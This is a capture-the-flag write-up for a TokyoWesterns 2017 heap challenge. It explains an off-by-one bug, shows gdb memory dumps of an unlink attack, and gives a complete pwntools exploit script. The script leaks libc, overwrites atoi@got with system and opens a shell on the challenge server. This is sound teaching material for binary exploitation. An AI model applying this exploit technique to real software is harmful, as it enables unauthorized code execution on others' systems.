Introduction
This is a pwn challenge in TokyoWestern 2017. As part of my tutorial plan, I decide to have a simple write-up on this challenge.
Vulnerability Analysis
There exists an off-by-one error in edit function. Attacker can corrupt the metadata of next chunk with one-byte value.
Exploitation Plan
Utilize unlink mechanism to modify some element in global variable list. Then use the corrupted pointer to overwrite atoi@got to address of system and hijack the control flow.
Memory layout before off-by-one error
0x6020c0 <list>: 0x000000000181c010 0x000000000181c0a0 0x6020d0 <list+16>: 0x000000000181c130 0x000000000181c1c0 0x6020e0 <list+32>: 0x000000000181c250 0x000000000181c2e0 0x6020f0 <list+48>: 0x0000000000000000 0x0000000000000000 0x181c1b0: 0x4343434343434343 0x0000000000000091 0x181c1c0: 0x4444444444444444 0x4444444444444444 0x181c1d0: 0x4444444444444444 0x4444444444444444 0x181c1e0: 0x4444444444444444 0x4444444444444444 0x181c1f0: 0x4444444444444444 0x4444444444444444 0x181c200: 0x4444444444444444 0x4444444444444444 0x181c210: 0x4444444444444444 0x4444444444444444 0x181c220: 0x4444444444444444 0x4444444444444444 0x181c230: 0x4444444444444444 0x4444444444444444 0x181c240: 0x4444444444444444 0x0000000000000091 0x181c250: 0x4545454545454545 0x4545454545454545 0x181c260: 0x4545454545454545 0x4545454545454545 0x181c270: 0x4545454545454545 0x4545454545454545 0x181c280: 0x4545454545454545 0x4545454545454545 0x181c290: 0x4545454545454545 0x4545454545454545 0x181c2a0: 0x4545454545454545 0x4545454545454545 0x181c2b0: 0x4545454545454545 0x4545454545454545 0x181c2c0: 0x4545454545454545 0x4545454545454545 0x181c2d0: 0x4545454545454545 0x0000000000000091
Memory layout after off-by-one error
0x6020c0 <list>: 0x000000000181c010 0x000000000181c0a0 0x6020d0 <list+16>: 0x000000000181c130 0x000000000181c1c0 0x6020e0 <list+32>: 0x000000000181c250 0x000000000181c2e0 0x6020f0 <list+48>: 0x0000000000000000 0x0000000000000000 0x181c1b0: 0x4343434343434343 0x0000000000000091 0x181c1c0: 0x0000000000000000 0x0000000000000080 0x181c1d0: 0x00000000006020c0 0x00000000006020c8 0x181c1e0: 0x4141414141414141 0x4141414141414141 0x181c1f0: 0x4141414141414141 0x4141414141414141 0x181c200: 0x4141414141414141 0x4141414141414141 0x181c210: 0x4141414141414141 0x4141414141414141 0x181c220: 0x4141414141414141 0x4141414141414141 0x181c230: 0x4141414141414141 0x4141414141414141 0x181c240: 0x0000000000000080 0x0000000000000090 0x181c250: 0x4545454545454545 0x4545454545454545 0x181c260: 0x4545454545454545 0x4545454545454545 0x181c270: 0x4545454545454545 0x4545454545454545 0x181c280: 0x4545454545454545 0x4545454545454545 0x181c290: 0x4545454545454545 0x4545454545454545 0x181c2a0: 0x4545454545454545 0x4545454545454545 0x181c2b0: 0x4545454545454545 0x4545454545454545 0x181c2c0: 0x4545454545454545 0x4545454545454545 0x181c2d0: 0x4545454545454545 0x0000000000000091
Memory Layout after unlink: free(0x181c250)
0x6020c0 <list>: 0x000000000181c010 0x000000000181c0a0 0x6020d0 <list+16>: 0x000000000181c130 0x00000000006020c0 0x6020e0 <list+32>: 0x0000000000000000 0x000000000181c2e0 0x6020f0 <list+48>: 0x0000000000000000 0x0000000000000000 0x602100 <list+64>: 0x0000000000000000 0x0000000000000000
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("pwn1.chal.ctf.westerns.tokyo", 16317); elif(DEBUG == 1): r = process("./simple"); elif(DEBUG == 2): r = process("./simple"); gdb.attach(r, '''source ./script'''); def add(size, note): r.recvuntil("Your choice: "); r.sendline("1"); r.recvuntil("Please input the size: "); r.sendline(str(size)); r.recvuntil("Please input your note: "); r.send(note); def delete(index): r.recvuntil("Your choice: "); r.sendline("2"); r.recvuntil("Please input the index:"); r.sendline(index); def show(index): r.recvuntil("Your choice: "); r.sendline("3"); r.recvuntil("Please input the index:"); r.sendline(index); def edit(index, note): r.recvuntil("Your choice: "); r.sendline("4"); r.recvuntil("Please input the index:"); r.sendline(index); r.recvuntil("Please input your note:"); r.send(note); def halt(): while(True): log.info(r.recvline()); def exploit(): libc = ELF("./libc.so.6"); systemRelAddr = libc.symbols['system']; add(0x88, "A"*0x88); add(0x88, "B"*0x88); add(0x88, "C"*0x88); add(0x88, "D"*0x88); add(0x88, "E"*0x88); add(0x88, "G"*0x88); delete("0"); add(0x88, "A"*8); show("0"); r.recvuntil("A"*8); leak = r.recv(6); addr = u64(leak+"\x00\x00"); log.info("leaked address: 0x%x" % addr); libcBaseAddr = addr - 0x3c4b78; systemAbsAddr = libcBaseAddr + systemRelAddr; log.info("libc base address: 0x%x" % libcBaseAddr); log.info("system address: 0x%x" % systemAbsAddr); listAddr = 0x6020c0 + 0x18; payload = p64(0) + p64(0x80) + p64(listAddr-0x18) + p64(listAddr-0x10); payload += "A"*0x60 + p64(0x80) + p64(0x90); edit("3", payload); #halt(); delete("4"); edit("3", p32(0x602058) ); edit("0", p64(systemAbsAddr)); r.sendline("/bin/sh"); r.interactive(); exploit(); #flag is TWCTF{unl1nk_4774ck_15_u53fu1_73chn1qu3}